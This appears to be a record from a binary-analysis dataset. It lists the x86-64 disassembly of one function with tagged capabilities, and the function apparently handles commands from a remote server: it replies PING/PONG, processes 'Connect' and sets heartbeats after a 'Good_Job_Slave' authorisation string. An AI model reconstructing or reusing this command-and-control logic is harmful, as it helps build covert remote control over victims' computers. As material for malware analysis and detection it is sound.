Function at 0x14000efb0
Capabilities:
Check for time delay via gettickcount
Receive data
Receive data on socket

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x860
mov rax, qword [0x14002c0b0]
xor rax, rsp
mov qword [rsp + 0x850], rax
mov rbx, rcx
cmp qword [0x14002db40], rcx
jne 0x14000f355
mov eax, dword [0x14002df60]
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x18], rdi
lea rsi, [0x14002db5e]
xor edi, edi
xor edx, edx
mov rcx, rsi
mov r8d, 0x400
mov dword [rsp + 0x40], edi
xchg dword [rsp + 0x40], eax
call fcn.140013cc0
mov rcx, qword [0x14002db40]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rdi
lea r9, [rsp + 0x44]
lea r8d, [rdi + 1]
lea rdx, [0x14002df68]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
mov qword [0x14002df70], rsi
mov dword [0x14002df68], 0x400
mov dword [rsp + 0x44], edi
mov dword [rsp + 0x48], edi
call qword [sym.imp.WS2_32.dll_WSARecv]
cmp dword [rsp + 0x40], 1
mov rdi, qword [rsp + 0x880]
jne 0x14000f192
cmp eax, 0xffffffff
je 0x14000f197
lea rdx, str.TCP_Protocol
mov r8d, reloc.WS2_32.dll_inet_ntoa
mov rcx, rsi
call fcn.140013a68
test eax, eax
je 0x14000f17c
lea rdx, str.UDP_Protocol
mov r8d, reloc.WS2_32.dll_inet_ntoa
mov rcx, rsi
call fcn.140013a68
test eax, eax
je 0x14000f17c
lea rdx, str.Connect
mov r8d, 8
mov rcx, rsi
call fcn.140013a68
test eax, eax
jne 0x14000f10d
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x50], al
call fcn.140013cc0
lea rcx, [rsp + 0x50]
mov r8d, 0x3ff
mov rdx, rsi
call fcn.140013620
xor edx, edx
mov r8d, 0x400
mov rcx, rsi
call fcn.140013cc0
lea rcx, [rsp + 0x50]
call fcn.14000a4e0
jmp 0x14000f34d
lea rdx, str.PING
mov r8d, 4
mov rcx, rsi
call fcn.140013a68
test eax, eax
jne 0x14000f34d
xor edx, edx
mov r8d, 0x400
mov rcx, rsi
call fcn.140013cc0
mov rcx, qword [0x14002db40]
lea rdx, str.PONG
mov r8d, 4
call fcn.1400012e0
cmp eax, 4
jne 0x14000f170
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, str.Send_Hear_Beat_Packet_Successfully_n
mov dword [0x14002df78], eax
jmp 0x14000f348
lea rcx, str.Fail_To_Send_Hear_Beat_Packet_n
jmp 0x14000f348
lea rcx, str.Asking_For_Connection_n
call fcn.140002780
call fcn.14000d760
jmp 0x14000f34d
cmp eax, 0xffffffff
jne 0x14000f1d1
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x14000f1c5
cmp dword [0x14002dfe8], 0
je 0x14000f34d
lea rcx, str.Fail_To_Read_Data_From_Main_Session_Socket__d_n
mov rdx, rbx
call fcn.14001347c
jmp 0x14000f34d
lea rcx, str.Full_To_Read_n
jmp 0x14000f348
cmp dword [0x14002dfe8], 0
je 0x14000f1e9
lea rcx, str._s__n
mov rdx, rsi
call fcn.14001347c
lea rdx, str.Good_Job_Slave
mov r8d, reloc.WS2_32.dll_ntohl
mov rcx, rsi
call fcn.140013a68
test eax, eax
jne 0x14000f27b
xor edx, edx
mov r8d, 0x400
mov rcx, rsi
call fcn.140013cc0
mov r11d, 1
lea rcx, str.I_Am_Authorized_n
xchg dword [0x14002df60], r11d
call fcn.140002780
mov dword [0x14002e24c], 1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov rdx, qword [0x14002db40]
mov rcx, qword [0x14002dfe0]
xor r9d, r9d
mov r8d, 0x7530
mov dword [0x14002df78], eax
call qword [sym.imp.USER32.dll_SetTimer]
test rax, rax
je 0x14000f26f
lea rcx, str.Set_Heart_Beat_Timer_Successfully_n
jmp 0x14000f348
lea rcx, str.Fail_To_Set_Heart_Beat_Timer_n
jmp 0x14000f348
lea rdx, str.Connect
mov r8d, 8
mov rcx, rsi
call fcn.140013a68
test eax, eax
jne 0x14000f2e5
lea rcx, [rsp + 0x451]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x450], al
call fcn.140013cc0
lea rcx, [rsp + 0x450]
mov r8d, 0x3ff
mov rdx, rsi
call fcn.140013620
xor edx, edx
mov r8d, 0x400
mov rcx, rsi
call fcn.140013cc0
lea rcx, [rsp + 0x450]
call fcn.14000a4e0
jmp 0x14000f34d
lea rdx, str.PING
mov r8d, 4
mov rcx, rsi
call fcn.140013a68
test eax, eax
jne 0x14000f34d
xor edx, edx
mov r8d, 0x400
mov rcx, rsi
call fcn.140013cc0
mov rcx, qword [0x14002db40]
lea rdx, str.PONG
mov r8d, 4
call fcn.1400012e0
cmp eax, 4
jne 0x14000f341
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, str.Send_Hear_Beat_Packet_Successfully__n
mov dword [0x14002df78], eax
jmp 0x14000f348
lea rcx, str.Fail_To_Send_Hear_Beat_Packet__n
call fcn.140002780
mov rsi, qword [rsp + 0x878]
mov rcx, qword [rsp + 0x850]
xor rcx, rsp
call fcn.1400135f0
add rsp, 0x860
pop rbx
ret